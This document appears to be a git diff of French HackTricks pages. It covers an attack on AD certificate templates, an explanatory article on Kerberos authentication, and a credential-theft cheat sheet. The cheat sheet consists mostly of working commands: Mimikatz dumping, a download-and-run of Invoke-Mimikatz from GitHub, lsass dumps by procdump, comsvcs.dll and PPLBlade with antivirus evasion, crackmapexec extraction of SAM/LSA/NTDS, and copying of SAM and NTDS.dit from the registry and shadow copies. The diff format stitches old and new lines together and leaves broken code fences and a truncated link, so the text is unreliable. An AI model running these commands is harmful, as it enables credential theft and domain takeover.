* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Un exemple de mise en œuvre malveillante impliquerait un attaquant, ayant des **permissions élevées** dans le domaine, ajoutant la permission **`WriteOwner`** au modèle de certificat **`Utilisateur`** par défaut, l'attaquant étant le principal pour ce droit. Pour exploiter cela, l'attaquant changerait d'abord la propriété du modèle **`Utilisateur`** pour lui-même. Ensuite, le **`mspki-certificate-name-flag`** serait défini sur **1** sur le modèle pour activer **`ENROLLEE_SUPPLIES_SUBJECT`**, permettant à un utilisateur de fournir un nom alternatif de sujet dans la demande. Ensuite, l'attaquant pourrait **s'inscrire** en utilisant le **modèle**, en choisissant un nom d'administrateur de domaine comme nom alternatif, et utiliser le certificat acquis pour l'authentification en tant qu'AD.

190
windows-hardening/active-directory-methodology/kerberos-authentication.md
View file

@ -4,192 +4,12 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Ces informations ont été extraites de l'article :** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
## Kerberos (I) : Comment fonctionne Kerberos ? - Théorie
20 - MAR - 2019 - ELOY PÉREZ
L'objectif de cette série d'articles est de clarifier le fonctionnement de Kerberos, plutôt que de simplement présenter les attaques. En effet, il n'est pas toujours clair pourquoi certaines techniques fonctionnent ou non. Cette connaissance permet de savoir quand utiliser l'une de ces attaques lors d'un test de pénétration.
Par conséquent, après un long parcours de plongée dans la documentation et plusieurs articles sur le sujet, nous avons essayé de résumer dans cet article tous les détails importants que tout auditeur devrait connaître pour comprendre comment tirer parti du protocole Kerberos.
Dans ce premier article, seule la fonctionnalité de base sera discutée. Dans les articles suivants, nous verrons comment effectuer les attaques et comment fonctionnent les aspects les plus complexes, tels que la délégation.
Si vous avez des doutes sur le sujet qui ne sont pas bien expliqués, n'hésitez pas à laisser un commentaire ou une question à ce sujet. Maintenant, passons au sujet.
### Qu'est-ce que Kerberos ?
Tout d'abord, Kerberos est un protocole d'authentification, pas d'autorisation. En d'autres termes, il permet d'identifier chaque utilisateur, qui fournit un mot de passe secret, mais il ne valide pas à quelles ressources ou services cet utilisateur peut accéder.
Kerberos est utilisé dans Active Directory. Dans cette plateforme, Kerberos fournit des informations sur les privilèges de chaque utilisateur, mais il incombe à chaque service de déterminer si l'utilisateur a accès à ses ressources.
### Éléments de Kerberos
Dans cette section, plusieurs composants de l'environnement Kerberos seront étudiés.
**Couche de transport**
Kerberos utilise soit UDP soit TCP comme protocole de transport, qui envoie des données en clair. Pour cette raison, Kerberos est responsable de la fourniture de chiffrement.
Les ports utilisés par Kerberos sont UDP/88 et TCP/88, qui doivent être écoutés dans le KDC (expliqué dans la section suivante).
**Agents**
Plusieurs agents travaillent ensemble pour fournir l'authentification dans Kerberos. Ce sont les suivants :
* **Client ou utilisateur** qui veut accéder au service.
* **AP** (Application Server) qui offre le service requis par l'utilisateur.
* **KDC** (Key Distribution Center), le service principal de Kerberos, responsable de l'émission des tickets, installé sur le DC (Domain Controller). Il est soutenu par le **AS** (Authentication Service), qui émet les TGT.
**Clés de chiffrement**
Il existe plusieurs structures gérées par Kerberos, telles que les tickets. Beaucoup de ces structures sont chiffrées ou signées afin d'empêcher toute altération par des tiers. Ces clés sont les suivantes :
* **Clé KDC ou krbtgt** qui est dérivée du hachage NTLM du compte krbtgt.
* **Clé utilisateur** qui est dérivée du hachage NTLM de l'utilisateur.
* **Clé de service** qui est dérivée du hachage NTLM du propriétaire du service, qui peut être un compte utilisateur ou un compte d'ordinateur.
* **Clé de session** qui est négociée entre l'utilisateur et le KDC.
* **Clé de session de service** à utiliser entre l'utilisateur et le service.
**Tickets**
Les principales structures gérées par Kerberos sont les tickets. Ces tickets sont remis aux utilisateurs pour être utilisés par eux pour effectuer plusieurs actions dans le royaume Kerberos. Il y en a 2 types :
* Le **TGS** (Ticket Granting Service) est le ticket que l'utilisateur peut utiliser pour s'authentifier auprès d'un service. Il est chiffré avec la clé de service.
* Le **TGT** (Ticket Granting Ticket) est le ticket présenté au KDC pour demander des TGS. Il est chiffré avec la clé KDC.
**PAC**
Le **PAC** (Privilege Attribute Certificate) est une structure incluse dans presque tous les tickets. Cette structure contient les privilèges de l'utilisateur et est signée avec la clé KDC.
Il est possible pour les services de vérifier le PAC en communiquant avec le KDC, bien que cela n'arrive pas souvent. Néanmoins, la vérification du PAC consiste à vérifier uniquement sa signature, sans inspecter si les privilèges à l'intérieur du PAC sont corrects.
De plus, un client peut éviter l'inclusion du PAC à l'intérieur du ticket en le spécifiant dans le champ _KERB-PA-PAC-REQUEST_ de la demande de ticket.
**Messages**
Kerberos utilise différents types de messages. Les plus intéressants sont les suivants :
* **KRB\_AS\_REQ** : Utilisé pour demander le TGT à KDC.
* **KRB\_AS\_REP** : Utilisé pour remettre le TGT par KDC.
* **KRB\_TGS\_REQ** : Utilisé pour demander le TGS à KDC, en utilisant le TGT.
* **KRB\_TGS\_REP** : Utilisé pour remettre le TGS par KDC.
* **KRB\_AP\_REQ** : Utilisé pour authentifier un utilisateur auprès d'un service, en utilisant le TGS.
* **KRB\_AP\_REP** : (Optionnel) Utilisé par le service pour s'identifier auprès de l'utilisateur.
* **KRB\_ERROR** : Message pour communiquer les conditions d'erreur.
De plus, même s'il ne fait pas partie de Kerberos, mais de NRPC, l'AP pourrait éventuellement utiliser le message **KERB\_VERIFY\_PAC\_REQUEST** pour envoyer au KDC la signature de PAC, et vérifier si elle est correcte.
Ci-dessous est présenté un résumé de la séquence de messages pour effectuer l'authentification
![Résumé des messages Kerberos](<../../.gitbook/assets/image (174) (1).png>)
### Processus d'authentification
Dans cette section, la séquence de messages pour effectuer l'authentification sera étudiée, en partant d'un utilisateur sans tickets, jusqu'à être authentifié contre le service désiré.
**KRB\_AS\_REQ**
Tout d'abord, l'utilisateur doit obtenir un TGT du KDC. Pour ce faire, un KRB\_AS\_REQ doit être envoyé :
![Schéma de message KRB\_AS\_REQ](<../../.gitbook/assets/image (175) (1).png>)
_KRB\_AS\_REQ_ a, entre autres, les champs suivants :
* Un **horodatage**
* Un **Nonce** généré par l'utilisateur
Note : le timestamp chiffré n'est nécessaire que si l'utilisateur exige une pré-authentification, ce qui est courant, sauf si le drapeau [_DONT\_REQ\_PREAUTH_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro) est défini dans le compte utilisateur.
**KRB\_AS\_REP**
Après avoir reçu la demande, le KDC vérifie l'identité de l'utilisateur en déchiffrant le timestamp. Si le message est correct, il doit alors répondre avec un _KRB\_AS\_REP_ :
![Schéma de message KRB\_AS\_REP](<../../.gitbook/assets/image (176) (1).png>)
_KRB\_AS\_REP_ inclut les informations suivantes :
* **Nom d'utilisateur**
* **TGT**, qui inclut :
* **Nom d'utilisateur**
* **Clé de session**
* **Date d'expiration** du TGT
* **PAC** avec les privilèges de l'utilisateur, signé par le KDC
* Certaines **données chiffrées** avec la clé de l'utilisateur, qui incluent :
* **Clé de session**
* **Date d'expiration** du TGT
* **Nonce** de l'utilisateur, pour éviter les attaques de rejeu
Une fois terminé, l'utilisateur a déjà le TGT, qui peut être utilisé pour demander des TGS, et ensuite accéder aux services.
**KRB\_TGS\_REQ**
Pour demander un TGS, un message _KRB\_TGS\_REQ_ doit être envoyé au KDC :
![Schéma de message KRB\_TGS\_REQ](<../../.gitbook/assets/image (177).png>)
_KRB\_TGS\_REQ_ inclut :
* **Données chiffrées** avec la clé de session :
* **Nom d'utilisateur**
* **Horodatage**
* **TGT**
* **SPN** du service demandé
* **Nonce** généré par l'utilisateur
**KRB\_TGS\_REP**
Après avoir reçu le message _KRB\_TGS\_REQ_, le KDC renvoie un TGS dans _KRB\_TGS\_REP_ :
![Schéma de message KRB\_TGS\_REP](<../../.gitbook/assets/image (178) (1).png>)
_KRB\_TGS\_REP_ inclut :
* **Nom d'utilisateur**
* **TGS**, qui contient :
* **Clé de session du service**
* **Nom d'utilisateur**
* **Date d'expiration** du TGS
* **PAC** avec les privilèges de l'utilisateur, signé par le KDC
* **Données chiffrées** avec la clé de session :
* **Clé de session du service**
* **Date d'expiration** du TGS
* **Nonce** de l'utilisateur, pour éviter les attaques de rejeu
**KRB\_AP\_REQ**
Pour finir, si tout s'est bien passé, l'utilisateur dispose déjà d'un TGS valide pour interagir avec le service. Pour l'utiliser, l'utilisateur doit envoyer un message _KRB\_AP\_REQ_ à l'AP :
![Schéma de message KRB\_AP\_REQ](<../../.gitbook/assets/image (179) (1).png>)
_KRB\_AP\_REQ_ inclut :
* **TGS**
* **Données chiffrées** avec la clé de session du service :
* **Nom d'utilisateur**
* **Horodatage**, pour éviter les attaques de rejeu
Après cela, si les privilèges de l'utilisateur sont corrects, il peut accéder au service. Si c'est le cas, ce qui n'arrive pas habituellement, l'AP vérifiera le PAC contre le KDC. Et aussi, si une authentification mutuelle est nécessaire, il répondra à l'utilisateur avec un message _KRB\_AP\_REP_.
### Références
* Kerberos v5 RFC : [https://tools.ietf.org/html/rfc4120](https://tools.ietf.org/html/rfc4120)
* \[MS-KILE\] – Extension Kerberos : [https://msdn.microsoft.com/en-us/library/cc233855.aspx](https://msdn.microsoft.com/en-us/library/cc233855.aspx)
* \[MS-APDS\] – Support de domaine de protocole d'authentification : [https://msdn.microsoft.com/en-us/library/cc223948.aspx](https://msdn.microsoft.com/en-us/library/cc223948.aspx)
* Mimikatz et les attaques Kerberos Active Directory : [https://adsecurity.org/?p=556](https://adsecurity.org/?p=556)
* Expliquez-moi comme si j'avais 5 ans : Kerberos : [https://www.roguelynn.com/words/explain-like-im-5-kerberos/](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)
* Kerberos & KRBTGT : [https://adsecurity.org/?p=483](https://adsecurity.org/?p=483)
* Maîtriser la recherche d'indices et les enquêtes sur les réseaux Windows, 2e édition. Auteurs : S. Anson, S. Bunting, R. Johnson et S. Pearson. Édition Sibex.
* Active Directory, 5e édition. Auteurs : B. Desmond, J. Richards, R. Allen et A.G. Lowe-Norris
* Noms principaux de service : [https://msdn.microsoft.com/en-us/library/ms677949(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/ms677949\(v=vs.85\).aspx)
* Niveaux fonctionnels de Active Directory : [https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0](https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0)
* OverPass The Hash – Blog Gentilkiwi : [https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash](https://
**Consultez le superbe article de:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)

870
windows-hardening/basic-cmd-for-pentesters.md
View file

File diff suppressed because it is too large Load diff

148
windows-hardening/stealing-credentials/README.md
View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Credentials Mimikatz
## Mimikatz de Credentials
```bash
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
@ -28,7 +28,7 @@ lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
```
**Découvrez d'autres fonctionnalités de Mimikatz sur** [**cette page**](credentials-mimikatz.md)**.**
**Découvrez d'autres fonctionnalités que Mimikatz peut exécuter dans** [**cette page**](credentials-mimikatz.md)**.**
### Invoke-Mimikatz
```bash
@ -36,11 +36,11 @@ IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercont
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
```
[**Apprenez-en plus sur certaines protections possibles des identifiants ici.**](credentials-protections.md) **Ces protections pourraient empêcher Mimikatz d'extraire certains identifiants.**
[**Apprenez-en davantage sur certaines protections possibles des identifiants ici.**](credentials-protections.md) **Ces protections pourraient empêcher Mimikatz d'extraire certains identifiants.**
## Identifiants avec Meterpreter
Utilisez le [**Plugin Credentials**](https://github.com/carlospolop/MSF-Credentials) **que j'ai créé pour rechercher des mots de passe et des hash** à l'intérieur de la victime.
Utilisez le [**Plugin Credentials**](https://github.com/carlospolop/MSF-Credentials) **que** j'ai créé pour **rechercher des mots de passe et des hachages** à l'intérieur de la victime.
```bash
#Credentials from SAM
post/windows/gather/smart_hashdump
@ -57,14 +57,14 @@ mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
```
## Contournement de l'antivirus
## Contournement de l'AV
### Procdump + Mimikatz
Comme **Procdump de** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**est un outil légitime de Microsoft**, il n'est pas détecté par Defender.\
Vous pouvez utiliser cet outil pour **décharger le processus lsass**, **télécharger le déchargement** et **extraire** les **identifiants localement** à partir du déchargement.
Vous pouvez utiliser cet outil pour **dumper le processus lsass**, **télécharger le dump** et **extraire** les **informations d'identification localement** à partir du dump.
{% code title="Décharger lsass" %}
{% code title="Dump lsass" %}
```bash
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
@ -72,61 +72,57 @@ C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
```
```
{% endcode %}
{% code title="Extraire les identifiants du dump" %}
```
```c
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
```
```markdown
{% endcode %}
Ce processus est effectué automatiquement avec [SprayKatz](https://github.com/aas-n/spraykatz): `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
**Remarque** : Certains **AV** peuvent **détecter** comme **malveillant** l'utilisation de **procdump.exe pour dumper lsass.exe**, car ils **détectent** la chaîne **"procdump.exe" et "lsass.exe"**. Il est donc **plus discret** de **passer** en **argument** le **PID** de lsass.exe à procdump **au lieu du** **nom lsass.exe.**
**Remarque**: Certains **AV** peuvent **détecter** comme **malveillante** l'utilisation de **procdump.exe pour vider lsass.exe**, ceci est dû à la **détection** des chaînes **"procdump.exe" et "lsass.exe"**. Il est donc **plus discret** de **passer** en **argument** le **PID** de lsass.exe à procdump **au lieu du** nom lsass.exe.
### Dumping lsass avec **comsvcs.dll**
### Vidage de lsass avec **comsvcs.dll**
Il existe une DLL nommée **comsvcs.dll**, située dans `C:\Windows\System32` qui **dumpe la mémoire des processus** lorsqu'ils **plantent**. Cette DLL contient une **fonction** appelée **`MiniDumpW`** qui est écrite pour être appelée avec `rundll32.exe`.\
Les deux premiers arguments ne sont pas utilisés, mais le troisième est divisé en 3 parties. La première partie est l'ID du processus qui sera dumpé, la deuxième partie est l'emplacement du fichier de dump, et la troisième partie est le mot **full**. Il n'y a pas d'autre choix.\
Une fois ces 3 arguments analysés, essentiellement cette DLL crée le fichier de dump, et dumpe le processus spécifié dans ce fichier de dump.\
Grâce à cette fonction, nous pouvons utiliser **comsvcs.dll** pour dumper le processus lsass au lieu de télécharger procdump et de l'exécuter. (Cette information a été extraite de [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/))
```
```
Une DLL nommée **comsvcs.dll** trouvée dans `C:\Windows\System32` est responsable du **vidage de la mémoire du processus** en cas de crash. Cette DLL inclut une **fonction** nommée **`MiniDumpW`**, conçue pour être invoquée en utilisant `rundll32.exe`.\
Il est sans importance d'utiliser les deux premiers arguments, mais le troisième est divisé en trois composants. Le PID du processus à vider constitue le premier composant, l'emplacement du fichier de vidage représente le deuxième, et le troisième composant est strictement le mot **full**. Aucune autre option n'existe.\
En analysant ces trois composants, la DLL se charge de créer le fichier de vidage et de transférer la mémoire du processus spécifié dans ce fichier.\
L'utilisation de **comsvcs.dll** est faisable pour vider le processus lsass, éliminant ainsi le besoin de télécharger et exécuter procdump. Cette méthode est décrite en détail sur [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords).
La commande suivante est utilisée pour l'exécution:
```bash
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
```
Nous devons simplement garder à l'esprit que cette technique ne peut être exécutée qu'en tant que **SYSTEM**.
**Vous pouvez automatiser ce processus avec** [**lsassy**](https://github.com/Hackndo/lsassy)**.**
### **Extraire lsass avec le Gestionnaire des tâches**
### **Dump de lsass avec le Gestionnaire des tâches**
1. Cliquez avec le bouton droit sur la barre des tâches et cliquez sur Gestionnaire des tâches
2. Cliquez sur Plus de détails
3. Recherchez le processus "Local Security Authority Process" dans l'onglet Processus
4. Cliquez avec le bouton droit sur le processus "Local Security Authority Process" et cliquez sur "Créer un fichier de vidage".
3. Recherchez le processus "Processus d'autorité de sécurité locale" dans l'onglet Processus
4. Cliquez avec le bouton droit sur le processus "Processus d'autorité de sécurité locale" et cliquez sur "Créer un fichier de vidage".
### Extraire lsass avec procdump
### Dump de lsass avec procdump
[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) est un binaire signé par Microsoft qui fait partie de la suite [sysinternals](https://docs.microsoft.com/en-us/sysinternals/).
```
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
```
## Vol de données lsass avec PPLBlade
## Dumpin lsass with PPLBlade
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) est un outil de vidage de processus protégés qui prend en charge l'obfuscation de vidage de mémoire et son transfert sur des postes de travail distants sans l'écrire sur le disque.
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) est un outil de Dump de Processus Protégé qui prend en charge l'obfuscation du vidage de mémoire et son transfert sur des postes de travail distants sans le déposer sur le disque.
**Fonctionnalités clés**:
1. Contournement de la protection PPL
2. Obfuscation des fichiers de vidage de mémoire pour éviter la détection basée sur les signatures de Defender
3. Téléversement du vidage de mémoire avec les méthodes RAW et SMB sans l'écrire sur le disque (vidage sans fichier)
2. Obfuscation des fichiers de vidage de mémoire pour éviter les mécanismes de détection basés sur les signatures de Defender
3. Téléchargement du vidage de mémoire avec des méthodes de téléchargement RAW et SMB sans le déposer sur le disque (vidage sans fichier)
{% code overflow="wrap" %}
```bash
@ -140,11 +136,11 @@ PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmod
```
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
```
### Extraire les secrets LSA
### Vol de secrets LSA
```
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
```
### Extraire le fichier NTDS.dit du contrôleur de domaine cible
### Extraire le NTDS.dit du contrôleur de domaine cible
```
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
@ -157,30 +153,30 @@ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
```
## Vol de SAM & SYSTEM
## Voler SAM & SYSTEM
Ces fichiers doivent se trouver dans _C:\windows\system32\config\SAM_ et _C:\windows\system32\config\SYSTEM._ Mais **vous ne pouvez pas simplement les copier de manière classique** car ils sont protégés.
Ces fichiers devraient être **situés** dans _C:\windows\system32\config\SAM_ et _C:\windows\system32\config\SYSTEM._ Mais **vous ne pouvez pas simplement les copier de manière régulière** car ils sont protégés.
### Depuis le Registre
La manière la plus simple de voler ces fichiers est d'obtenir une copie depuis le registre :
La manière la plus simple de voler ces fichiers est d'en obtenir une copie depuis le registre :
```
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
```
**Téléchargez** ces fichiers sur votre machine Kali et **extraites les hachages** en utilisant :
**Téléchargez** ces fichiers sur votre machine Kali et **extrayez les hachages** en utilisant :
```
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
```
### Copie de l'ombre de volume
### Copie de l'ombre du volume
Vous pouvez effectuer une copie de fichiers protégés en utilisant ce service. Vous devez être Administrateur.
Vous pouvez effectuer une copie des fichiers protégés en utilisant ce service. Vous devez être Administrateur.
#### Utilisation de vssadmin
Le binaire vssadmin est uniquement disponible dans les versions de Windows Server
Le binaire vssadmin n'est disponible que dans les versions de Windows Server
```bash
vssadmin create shadow /for=C:
#Copy SAM
@ -193,7 +189,7 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Ex
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```
Mais vous pouvez faire la même chose depuis **Powershell**. Voici un exemple de **comment copier le fichier SAM** (le disque dur utilisé est "C:" et il est sauvegardé dans C:\users\Public) mais vous pouvez utiliser ceci pour copier n'importe quel fichier protégé :
Mais vous pouvez faire la même chose depuis **Powershell**. Voici un exemple de **comment copier le fichier SAM** (le disque dur utilisé est "C:" et il est enregistré dans C:\users\Public) mais vous pouvez utiliser ceci pour copier n'importe quel fichier protégé:
```bash
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
@ -204,34 +200,34 @@ $voume.Delete();if($notrunning -eq 1){$service.Stop()}
```
### Invoke-NinjaCopy
Finalement, vous pourriez également utiliser le [**script PS Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) pour faire une copie de SAM, SYSTEM et ntds.dit.
Enfin, vous pourriez également utiliser le [**script PS Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) pour faire une copie de SAM, SYSTEM et ntds.dit.
```bash
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
```
## **Identifiants Active Directory - NTDS.dit**
## **Informations d'identification d'Active Directory - NTDS.dit**
**Le fichier Ntds.dit est une base de données qui stocke les données Active Directory**, y compris les informations sur les objets utilisateur, les groupes et l'appartenance aux groupes. Il comprend les hachages de mot de passe pour tous les utilisateurs du domaine.
**Le fichier Ntds.dit est une base de données qui stocke les données d'Active Directory**, y compris des informations sur les objets utilisateur, les groupes et l'appartenance aux groupes. Il inclut les hachages de mot de passe de tous les utilisateurs du domaine.
Le fichier NTDS.dit important se trouvera **dans** : _%SystemRoom%/NTDS/ntds.dit_\
Le fichier NTDS.dit important se trouve dans: _%SystemRoom%/NTDS/ntds.dit_\
Ce fichier est une base de données _Extensible Storage Engine_ (ESE) et est "officiellement" composé de 3 tables:
* **Table de données**: Contient les informations sur les objets (utilisateurs, groupes...)
* **Table de liens** : Informations sur les relations (membre de...)
* **Table de liaison**: Informations sur les relations (membre de...)
* **Table SD**: Contient les descripteurs de sécurité de chaque objet
Plus d'informations à ce sujet: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
Windows utilise _Ntdsa.dll_ pour interagir avec ce fichier et il est utilisé par _lsass.exe_. Ensuite, **une partie** du fichier **NTDS.dit** pourrait se trouver **à l'intérieur de la mémoire `lsass`** (vous pouvez trouver les données les plus récemment accédées probablement en raison de l'amélioration des performances en utilisant un **cache**).
Windows utilise _Ntdsa.dll_ pour interagir avec ce fichier et il est utilisé par _lsass.exe_. Ainsi, **une partie** du fichier **NTDS.dit** pourrait être située **à l'intérieur de la mémoire de `lsass`** (vous pouvez trouver les données les plus récemment consultées probablement en raison de l'amélioration des performances en utilisant un **cache**).
#### Décryptage des hachages dans NTDS.dit
#### Décryptage des hachages à l'intérieur de NTDS.dit
Le hachage est chiffré 3 fois:
1. Décrypter la clé de chiffrement de mot de passe (**PEK**) en utilisant le **BOOTKEY** et **RC4**.
1. Décrypter la clé de chiffrement du mot de passe (**PEK**) en utilisant le **BOOTKEY** et **RC4**.
2. Décrypter le **hachage** en utilisant **PEK** et **RC4**.
3. Décrypter le **hachage** en utilisant **DES**.
**PEK** a la **même valeur** dans **chaque contrôleur de domaine**, mais il est **chiffré** à l'intérieur du fichier **NTDS.dit** en utilisant le **BOOTKEY** du **fichier SYSTEM du contrôleur de domaine (qui est différent entre les contrôleurs de domaine)**. C'est pourquoi pour obtenir les identifiants à partir du fichier NTDS.dit **vous avez besoin des fichiers NTDS.dit et SYSTEM** (_C:\Windows\System32\config\SYSTEM_).
